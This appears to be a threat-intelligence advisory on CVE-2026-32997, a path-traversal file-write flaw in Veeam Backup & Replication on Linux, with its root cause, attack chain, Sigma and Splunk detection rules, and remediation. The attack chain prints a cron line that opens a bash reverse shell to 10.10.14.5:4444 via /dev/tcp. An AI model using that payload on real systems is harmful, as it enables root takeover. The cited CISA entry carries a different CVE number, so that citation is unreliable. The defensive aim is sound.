CVE-2026-32997: Arbitrary File Write in Linux-based Veeam Backup & Replication
HERMES THREAT SCORE & LINUX INFRASTRUCTURE RISK
Target:Veeam Backup & Replication Deployment and Transport Service (Linux Hosts) Hermes rates CVE-2026-32997 as High severity (HTS 88). Although exploitation requires the Backup Administrator role within the VBR console, it completely bypasses the underlying operating system boundary. On Linux-based hardened repositories and management appliances, a compromised application administrator can overwrite critical OS files to attain full root privileges, undermining hardware-enforced immutability guarantees.
CVE-2026-32997: Arbitrary File Write in Linux-based Veeam Backup & ReplicationVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
π Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Veeam Backup & Replication documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Metadata & Attack Surface
Section titled β1. Metadata & Attack Surfaceβ| Metric | Technical Specification | Operational Impact |
|---|---|---|
| CVE Identifier | CVE-2026-32997 | Standardized vulnerability identifier |
| Vendor / Software | Veeam Software / Backup & Replication | Enterprise data protection platform |
| Affected Host OS | Linux (Ubuntu, Debian, RHEL, Rocky Linux, SLES) | VBR servers and transport proxies |
| Affected Releases | VBR 13.x versions prior to 13.0.2 | Linux installations |
| Patched Release | Veeam Backup & Replication 13.0.2 | Official vendor patch |
| Associated CWE | CWE-36: Absolute Path Traversal | Filesystem containment failure |
| Initial Access | Backup Administrator (Authenticated) | VBR console or REST/gRPC API |
| Resulting Access | root (Local Superuser) | Complete host takeover |
2. Technical Root Cause Analysis
Section titled β2. Technical Root Cause AnalysisβThe flaw originates from flawed destination path handling within the Linux module synchronization utility (veeamsvc / VeeamDeploymentService).
CVE-2026-32997 Linux Host Exploitation Flow:
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β Compromised Backup Administrator β βββββββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββ β DeploymentService API Request β Payload: filePath = "/etc/cron.d/backdoor" βΌ ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β Veeam Linux Service (Executing as root UID 0) β β 1. Receives binary payload and metadata path tag β β 2. Omits Path.GetFileName() or chroot sandbox check β β 3. Direct filesystem write: File.WriteAllBytes(path) β βββββββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββ β Arbitrary write to /etc/cron.d/ βΌ ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β System cron Daemon β β β’ Evaluates scheduled job under root privileges β β β’ Dispatches interactive reverse shell to threat C2 β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββAbsolute Path Traversal Mechanism
Section titled βAbsolute Path Traversal MechanismβWhen the console triggers the upload of a support script or diagnostic binary, the Linux service receives:
- File metadata containing the suggested target path.
- The raw binary stream.
In versions prior to 13.0.2, the .NET runtime executing on Linux failed to enforce that the target path remained sandboxed within /opt/veeam/transport/ or /tmp/veeam/. An attacker supplying a direct absolute path (/etc/cron.d/veeam_job or /root/.ssh/authorized_keys) bypassed directory concatenation checks. Because the daemon runs with root privileges to manage storage mounts and network namespace bindings, the operating system executes the write operation without permission denial.
3. Attack Execution Chain
Section titled β3. Attack Execution ChainβAn adversary with administrative credentials on the VBR console can achieve host takeover in 3 phases:
- Cron Payload Staging:
The attacker crafts a standard cron task payload:Terminal window * * * * * root /bin/bash -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1" - Invoking Deployment API:
Using an automated script targeting the VBR management port, the attacker transmits the file specifying/etc/cron.d/veeam_maintenance. - Execution & Root Shell:
Within 60 seconds, the Linux cron service parses the file and spawns an interactive root shell back to the listener.
4. Detection & Threat Hunting
Section titled β4. Detection & Threat HuntingβSigma Rule: Critical System File Creation by Veeam Linux Service
Section titled βSigma Rule: Critical System File Creation by Veeam Linux Serviceβtitle: Suspicious File Creation by Veeam Linux Serviceid: cve-2026-32997-veeam-file-writestatus: experimentaldescription: Detects creation of files outside standard Veeam directories by veeamsvc on Linuxreferences: - https://www.veeam.com/logsource: category: file_event product: linuxdetection: selection_process: Image|endswith: - '/veeamsvc' - '/VeeamDeploymentService' selection_target: TargetFilename|startswith: - '/etc/' - '/root/' - '/usr/bin/' - '/usr/sbin/' - '/var/spool/cron/' filter_legit: TargetFilename|startswith: - '/etc/veeam/' - '/opt/veeam/' - '/tmp/veeam/' condition: selection_process and selection_target and not filter_legitfalsepositives: - Official manual upgrade scripts executed outside package managerslevel: criticalThreat Hunting Query (Auditd / Splunk)
Section titled βThreat Hunting Query (Auditd / Splunk)βindex=linux_audit (type="SYSCALL" OR type="PATH")(comm="veeamsvc" OR comm="VeeamDeployment")(name="/etc/cron*" OR name="/etc/ld.so*" OR name="/root/.ssh/*" OR name="/etc/sudoers*")| table _time host comm auid uid name success5. Remediation & Hardening
Section titled β5. Remediation & Hardeningβ- Immediate Patching: Apply Veeam Backup & Replication 13.0.2 across all Linux management appliances and proxy nodes.
- Access Governance: Restrict the Backup Administrator role to dedicated jump hosts with multi-factor authentication.
- Host Hardening: Enforce AppArmor or SELinux policies prohibiting Veeam binaries from writing outside
/opt/veeam/and/tmp/veeam/. - File Integrity Monitoring (FIM): Monitor
/etc/cron*and/etc/systemd/system/for unexpected write events using auditd or Wazuh.
6. References
Section titled β6. Referencesβ- Veeam Security Advisory: Veeam Security Bulletin CVE-2026-32997
- NIST NVD Entry: CVE-2026-32997 Detail
- Related Hermes Intelligence: Akira Ransomware Threat Analysis
- Interactive Workbench: Software Intelligence